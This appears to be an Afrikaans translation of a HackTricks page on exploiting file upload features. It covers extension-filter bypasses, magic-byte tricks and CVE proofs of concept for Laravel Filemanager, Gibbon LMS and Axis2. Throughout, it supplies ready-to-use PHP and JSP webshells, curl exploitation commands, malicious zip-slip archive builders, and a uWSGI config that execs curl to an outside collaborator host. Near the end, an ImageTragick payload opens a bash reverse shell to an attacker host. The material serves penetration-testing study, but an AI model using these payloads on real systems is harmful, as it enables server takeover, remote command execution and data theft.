Lêeroplaai

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Algemene metodologie vir lêeroplaai

Ander nuttige extensies:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Werk in PHPv8: .php, .php4, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Omseil lêeruitbreidingskontroles

  1. Indien van toepassing, kontroleer die voorgaande extensies. Toets hulle ook met sommige hoofletters: pHp, .pHP5, .PhAr …
  2. Kontroleer om ’n geldige extensie voor die uitvoerings-extensie by te voeg (gebruik ook die voorgaande extensies):
  • file.png.php
  • file.png.Php5
  1. Probeer om spesiale karakters aan die einde by te voeg. Jy kan Burp gebruik om alle ascii en Unicode karakters te bruteforce. (Let daarop dat jy ook kan probeer om die vroeger genoemde extensies te gebruik)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Probeer om die beskerming te omseil deur die server-side se extension parser te mislei met tegnieke soos verdubbeling van die extensie of junk data (null bytes) tussen extensies. Jy kan ook die voorgaande extensies gebruik om ’n beter payload voor te berei.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Voeg nog ’n laag van extensies by die vorige kontrole:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Probeer om die uitvoerings-extensie voor die geldige extensie te plaas en hoop dat die server verkeerd gekonfigureer is. (nuttig om Apache-misconfigurasies uit te buit waar enigiets met die extensie** .php, maar nie noodwendig eindigend op .php** sal kode uitvoer):
  • ex: file.php.png
  1. Gebruik NTFS alternate data stream (ADS) in Windows. In hierdie geval sal ’n kolonkarakter “:” tussen ’n verbode extensie en ’n toegelate een ingevoeg word. Gevolglik sal ’n leë lêer met die verbode extensie op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later gewysig word met ander tegnieke soos die gebruik van sy short filename. Die “::$data” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om ’n puntkarakter na hierdie patroon by te voeg om verdere beperkings te omseil (bv. “file.asp::$data.”)
  2. Probeer om die lêernaamgrense te breek. Die geldige extensie raak afgekap. En die kwaadwillige PHP bly oor. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Sommige upload handlers knip of normaliseer agtervoegsel-punte van die gestoor lêernaam. In UniSharp se Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1 kan jy extensievalidering omseil deur:

  • ’n Geldige image MIME en magic header te gebruik (bv. PNG se \x89PNG\r\n\x1a\n).
  • Die opgelaaide lêer te benoem met ’n PHP-extensie gevolg deur ’n punt, bv. shell.php..
  • Die bediener verwyder die agtervoegselpunt en behou shell.php, wat sal uitvoer as dit in ’n web-geserveerde gids geplaas word (standaard publieke stoorplek soos /storage/files/).

Minimale PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Dan hit die gestoorde pad (tipies in Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Omseil Content-Type, Magic Number, Kompressie & Hergrootmaak

  • Omseil Content-Type kontroles deur die waarde van die Content-Type header te stel na: image/png , text/plain , application/octet-stream
  1. Content-Type woordelys: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Omseil die magic number kontrole deur aan die begin van die lêer die bytes van ’n werklike image by te voeg (om die file command te verwarr). Of plaas die shell binne die metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ of jy kan ook die payload direk in ’n beeld insit:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • As daar kompressie by jou beeld gevoeg word, byvoorbeeld deur standaard PHP-biblioteke soos PHP-GD te gebruik, sal die vorige tegnieke dalk nie werk nie. Jy kan egter die PLTE chunk technique defined here gebruik om teks in te voeg wat kompressie sal oorleef.
  • Github with the code
  • Die webblad kan ook die beeld van grootte verander, byvoorbeeld deur die PHP-GD funksies imagecopyresized of imagecopyresampled te gebruik. Jy kan egter die IDAT chunk technique defined here gebruik om teks in te voeg wat kompressie sal oorleef.
  • Github with the code
  • Nog ’n tegniek om ’n payload te maak wat beeldhergrootmaak oorleef, deur die PHP-GD funksie thumbnailImage te gebruik. Jy kan egter die tEXt chunk technique defined here gebruik om teks in te voeg wat kompressie sal oorleef.
  • Github with the code

Ander truuks om na te kyk

  • Vind ’n kwesbaarheid om die reeds opgelaaide lêer te hernoem (om die uitbreiding te verander).
  • Vind ’n Local File Inclusion kwesbaarheid om die backdoor uit te voer.
  • Moontlike inligtingsvrystelling:
  1. Laai dieselfde lêer veral kere op (en op die selfde tyd) met dieselfde naam
  2. Laai ’n lêer op met die naam van ’n lêer of gids wat alreeds bestaan
  3. Laai ’n lêer op met “.” , “..”, of “…” as sy naam. Byvoorbeeld, in Apache op Windows, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam ’n lêer met die naam uploads in die “/www/” gids skep.
  4. Laai ’n lêer op wat nie maklik verwyder kan word nie, soos “…:.jpg” op NTFS. (Windows)
  5. Laai ’n lêer op in Windows met ongeldige karakters soos |<>*?” in die naam. (Windows)
  6. Laai ’n lêer op in Windows met gereserveerde (verbode) name soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
  • Probeer ook om ’n uitvoerbare lêer (.exe) of ’n .html (minder verdag) op te laai wat kode sal uitvoer wanneer dit per ongeluk deur die slagoffer geopen word.

Spesiale ekstensie-truuks

As jy probeer om lêers na ’n PHP server op te laai, take a look at the .htaccess trick to execute code.
As jy probeer om lêers na ’n ASP server op te laai, take a look at the .config trick to execute code.

Die .phar lêers is soos die .jar vir java, maar vir php, en kan soos ’n php-lêer gebruik word (deur dit met php uit te voer, of dit in ’n script in te sluit…)

Die .inc uitbreiding word soms gebruik vir php-lêers wat net gebruik word om lêers te importeer, so op ’n stadium kan iemand toegelaat het dat hierdie uitbreiding uitgevoer word.

Jetty RCE

As jy ’n XML-lêer in ’n Jetty-server kan oplaai, kan jy RCE kry omdat RCE because **new .xml and .war are automatically processed. So, soos in die volgende beeld vermeld, laai die XML-lêer na $JETTY_BASE/webapps/ en verwag die shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Vir ’n uitvoerige ondersoek na hierdie kwesbaarheid, kyk na die oorspronklike navorsing: uWSGI RCE Exploitation.

Remote Command Execution (RCE) kwesbaarhede kan uitgebuit word in uWSGI-bedieners as iemand die vermoë het om die .ini konfigurasielêer te wysig. uWSGI-konfigurasielêers gebruik ’n spesifieke sintaksis om “magic” veranderlikes, placeholders, en operators in te sluit. Uitgesonderd is die ‘@’ operator, gebruik as @(filename), wat bedoel is om die inhoud van ’n lêer in te sluit. Onder die verskeie ondersteunde schemes in uWSGI is die “exec” scheme besonder kragtig, omdat dit die lees van data vanaf ’n proses se standaard-uitset toelaat. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer ’n .ini konfigurasielêer verwerk word.

Kyk na die volgende voorbeeld van ’n skadelike uwsgi.ini lêer, wat verskeie schemes demonstreer:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Die uitvoering van die payload gebeur tydens die ontleding van die konfigurasielêer. Om die konfigurasie geaktiveer en geparse te kry, moet die uWSGI-proses óf herbegin word (miskien na ’n crash of as gevolg van ’n Denial of Service-aanval) óf die lêer moet op auto-reload gestel word. Die auto-reload-funksie, as dit geaktiveer is, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.

Dit is kritiek om die losaardige aard van uWSGI se konfigurasielêer-parsing te verstaan. Spesifiek kan die bespreekte payload in ’n binêre lêer (soos ’n beeldlêer of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder uitbrei.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Ongeauthentiseerde endpoint in Gibbon LMS laat arbitrary file write binne die web root toe, wat tot pre-auth RCE lei deur ’n PHP-lêer neer te sit. Kwetsbare weergawes: tot en met 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (server ignores type/name, base64-decodes the tail)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimale PoC om ’n lêer te skryf en terug te lees:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Laai ’n minimale webshell op en voer opdragte uit:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Aantekeninge:

  • Die handler voer base64_decode($_POST["img"]) uit nadat dit volgens ; en , gesplit is, en skryf dan bytes na $absolutePath . '/' . $_POST['path'] sonder om die extensie/tipe te valideer.
  • Die gevolglike kode loop as die webdiens-gebruiker (bv. XAMPP Apache op Windows).

Verwysings vir hierdie bug sluit die usd HeroLab advisory en die NVD entry in. Sien die References-afdeling hieronder.

wget Lêer Oplaai/SSRF Truuk

In sommige gevalle sal jy vind dat ’n bediener wget gebruik om lêers af te laai en dat jy die URL kan aandui. In sulke gevalle kan die kode nagaan of die uitbreiding van die afgelaaide lêers op ’n whitelist is om te verseker dat slegs toegelate lêers afgelaai word. Hierdie kontrole kan egter omseil word.
Die maximum lengte van ’n filename in linux is 255, maar wget verkort die filenamen tot 236 karakters. Jy kan ‘n lêer aflaai wat “A”*232+“.php”+“.gif” genoem word’, hierdie filenaam sal die kontrole omseil (soos in hierdie voorbeeld is “.gif” ’n geldige uitbreiding) maar wget sal die lêer hernoem na “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Let wel dat ’n ander opsie waaraan jy dalk dink om hierdie kontrole te omseil, is om die HTTP server na ’n ander lêer te herlei, sodat die aanvanklike URL die kontrole omseil en daarna wget die herlei­de lêer met die nuwe naam sal aflaai. Dit sal nie werk nie tensy wget met die parameter --trust-server-names gebruik word, omdat wget die herlei­de bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is sal aflaai.

Escaping upload directory via NTFS junctions (Windows)

(Vir hierdie aanval het jy plaaslike toegang tot die Windows-masjien nodig) Wanneer uploads gestoor word in per-gebruiker subgidses op Windows (bv. C:\Windows\Tasks\Uploads<id>) en jy beheer die skep/verwydering van daardie subgids, kan jy dit vervang met ’n directory junction wat na ’n sensitiewe ligging wys (bv. die webroot). Volgende uploads sal in die teikenpad geskryf word, wat code execution moontlik maak as die teiken server-side code interpreteer.

Example flow to redirect uploads into XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Aantekeninge

  • mklink /J creates an NTFS directory junction (reparse point). Die web server’s account must follow the junction and have write permission in the destination.
  • This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
  • Verdedigingsmaatreëls: moenie toelaat dat writable upload roots deur ’n aanvaller‑beheerbaar is onder C:\Windows\Tasks of soortgelyk nie; blokkeer junction creation; valideer extensies server‑side; stoor uploads op ’n aparte volume of met deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).

Generiese uitbuitingsvloei:

  • Berei jou server-side payload voor (bv. minimale JSP webshell) en gzip-compress die bytes.
  • Stuur ’n POST waar ’n path parameter (bv. token) traversal bevat wat die beoogde gids ontsnap, en file dui die lêernaam aan om te persisteer. Stel Content-Type: application/octet-stream en Content-Encoding: gzip; die body is die gecomprimeerde payload.
  • Blaai na die geskryfde lêer om uitvoering te veroorsaak.

Illustreerende versoek:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Aktiveer dan:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Aantekeninge

  • Doelpaadjies varieer per installasie (bv., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in sommige stacks). Enige web-blootgestelde gids wat JSP uitvoer sal werk.
  • Burp Suite’s Hackvertor extension kan ’n korrekte gzip-body vanaf jou payload produseer.
  • Dit is ’n suiwer pre-auth arbitrary file write → RCE-patroon; dit maak nie staat op multipart parsing nie.

Mitigeringe

  • Bepaal upload-bestemmings aan die bedienerkant; vertrou nooit padfragmente van kliënte nie.
  • Kanoniseer en dwing af dat die opgeloste pad binne ’n toegelate basismap bly.
  • Berg uploads op ’n nie-uitvoerbare volume en weier skripuitvoering vanaf skryfbare paaie.

Axis2 SOAP uploadFile traversal na Tomcat webroot (JSP drop)

Axis2-gebaseerde uploaddienste openbaar soms ’n uploadFile SOAP-aksie wat drie deur ’n aanvaller beheerde velde neem: jobDirectory (bestemmingsgids), archiveName (lêernaam), en dataHandler (base64 file content). As jobDirectory nie gekanoniseer is nie, kry jy arbitrary file write via path traversal en kan ’n JSP in Tomcat’s webapps beland.

Minimale versoek-oorzicht (standaard creds werk dikwels: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • Bindinge is dikwels slegs op localhost; koppel dit aan ’n full-read SSRF (absolute-URL request line, Host header ignored) om 127.0.0.1 te bereik as die Axis2-poort nie blootgestel is nie.
  • Nadat dit geskryf is, blaai na /trufusionPortal/jsp/shell.jsp?cmd=id om dit uit te voer.

Gereedskap

  • Upload Bypass is ’n kragtige hulpmiddel ontwerp om Pentesters and Bug Hunters te help om file upload mechanisms te toets. Dit maak gebruik van verskeie bug bounty-tegnieke om die proses van identifisering en uitbuiting van kwesbaarhede te vereenvoudig, en verseker deeglike assesserings van webtoepassings.

Korruptering van upload-indekse met snprintf-eienaardighede (histories)

Sommige ouer upload-handlers wat snprintf() of soortgelyke funksies gebruik om multi-file arrays uit ’n single-file upload te bou, kan mislei word om die _FILES-struktuur te vervals. As gevolg van inkonsekwenthede en afkap in snprintf()-gedrag, kan ’n sorgvuldig saamgestelde enkele upload aan die bedienerkant as verskeie geïndekseerde lêers verskyn, wat logika wat ’n streng vorm aanvaar in die war steek (bv. dit as ’n multi-file upload behandel en onveilige takke volg). Alhoewel dit vandag nismaatig is, duik hierdie “index corruption”-patroon af en toe weer op in CTFs en ouer codebases.

Van lêeroplaai na ander kwesbaarhede

Hier is ’n top 10-lijst van dinge wat jy deur op te laai kan bereik (van hier):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magiese Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Raadpleeg https://en.wikipedia.org/wiki/List_of_file_signatures vir ander lêertipes.

Zip/Tar-lêer wat outomaties gedekomprimeer word tydens oplaai

As jy ’n ZIP kan oplaai wat op die bediener gedekomprimeer gaan word, kan jy twee dinge doen:

Laai ’n arkief op wat simboolskakels (soft links) na ander lêers bevat; wanneer die lêers gedekomprimeer is en jy toegang tot die gedekomprimeerde lêers kry, sal jy toegang hê tot die gekoppelde lêers:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Dekomprimeer in verskillende vouers

Die onverwagte skep van lêers in gidse tydens dekompressie is ’n beduidende probleem. Ondanks aanvanklike aanname dat hierdie opstelling moontlik sou beskerm teen OS-level command execution deur kwaadwillige file uploads, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit laat aanvallers toe om beperkings te omseil en uit veilige upload directories te ontsnap deur die dekompressie-funksionaliteit van die geteikende toepassing te manipuleer.

’n Geautomatiseerde exploit om sulke lêers te skep is beskikbaar by evilarc on GitHub. Die utility kan soos getoon gebruik word:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Verder is die symlink trick with evilarc ’n opsie. As die doel is om ’n lêer soos /flag.txt te teiken, behoort ’n symlink na daardie lêer in jou stelsel geskep te word. Dit verseker dat evilarc nie foute tydens sy werking ervaar nie.

Hieronder is ’n voorbeeld van Python-kode wat gebruik word om ’n kwaadwillige zip file te skep:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Misbruik van kompressie vir file spraying

Vir verdere besonderhede sien die oorspronklike pos by: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Skep ’n PHP Shell: PHP-kode word geskryf om opdragte wat deur die $_REQUEST veranderlike deurgegee word, uit te voer.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying en samestelling van ’n gekompresste lêer: Verskeie lêers word geskep en ’n zip-argief word saamgestel wat hierdie lêers bevat.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Wijziging met ’n hex editor of vi: Die name van die lêers binne die zip word met vi of ’n hex editor verander deur “xxA” na “../” te vervang om deur gidsstrukture te navigeer.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Wanneer ’n backend ZIP-inskrywings valideer met PHP’s ZipArchive, maar die ekstraksie na die lêerstelsel skryf met die rou name, kan jy ’n ontoegelate uitbreiding insmokkel deur ’n NUL (0x00) in die lêernaamvelde in te voeg. ZipArchive hanteer die inskrywingnaam as ’n C‑string en kort dit af by die eerste NUL; die lêerstelsel skryf die volle naam en laat alles ná die NUL val weg.

Hoëvlak vloei:

  • Berei ’n legitieme container-lêer voor (bv. ’n geldige PDF) wat ’n klein PHP stub in ’n stroom insluit sodat die magic/MIME steeds ’n PDF bly.
  • Gee dit ’n naam soos shell.php..pdf, zip dit, en hex‑edit dan die ZIP local header en central directory filename om die eerste . na .php te vervang met 0x00, wat shell.php\x00.pdf tot gevolg het.
  • Validators wat op ZipArchive staatmaak sal shell.php .pdf “sien” en dit toelaat; die extractor skryf shell.php na skyf, wat tot RCE kan lei as die upload folder uitvoerbaar is.

Minimale PoC stappe:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Aantekeninge

  • Verander albei ‘filename’ voorkomste (local en central directory). Sommige tools voeg ook ’n ekstra data descriptor entry by – pas alle name fields aan indien teenwoordig.
  • Die payload file moet steeds server‑kant magic/MIME sniffing deurstaan. Die inbedding van die PHP in ’n PDF-stream hou die header geldig.
  • Werk waar die enum/validation path en die extraction/write path nie saamstem oor string handling nie.

Gestapelde/gekoppelde ZIPs (parser-onenigheid)

Om twee geldige ZIP-lêers aan mekaar te koppel produseer ’n blob waar verskillende parsers op verskillende EOCD records fokus. Baie tools lokaliseer die laaste End Of Central Directory (EOCD), terwyl sommige libraries (bv. ZipArchive in sekere workflows) dalk die eerste archive wat hulle vind parse. As validation die eerste archive enumereer en extraction ’n ander tool gebruik wat die laaste EOCD eerbiedig, kan ’n onskadelike archive kontroles deurstaan terwyl ’n kwaadwillige een uitgepak word.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Misbruikpatroon

  • Skep ’n skadelose argief (toegelate tipe, bv. ’n PDF) en ’n tweede argief wat ’n geblokkeerde uitbreiding bevat (bv. shell.php).
  • Kombineer hulle: cat benign.zip evil.zip > combined.zip.
  • As die bediener valideer met een parser (sien benign.zip) maar onttrek met ’n ander (verwerk evil.zip), beland die geblokkeerde lêer in die onttrekkingspad.

ImageTragic

Laai hierdie inhoud met ’n beelduitbreiding op om die kwesbaarheid te exploit (ImageMagick , 7.0.1-1) (van die exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Inbedding van PHP-shell in PNG

Inbedding van ’n PHP-shell in die IDAT-chunk van ’n PNG-lêer kan sekere beeldverwerkingsoperasies effektief omseil. Die funksies imagecopyresized en imagecopyresampled van PHP-GD is besonders relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir onderskeidelik resizing en resampling van beelde. Die vermoë van die ingeslote PHP-shell om ongeskonde te bly deur hierdie operasies is ’n beduidende voordeel vir sekere toepassings.

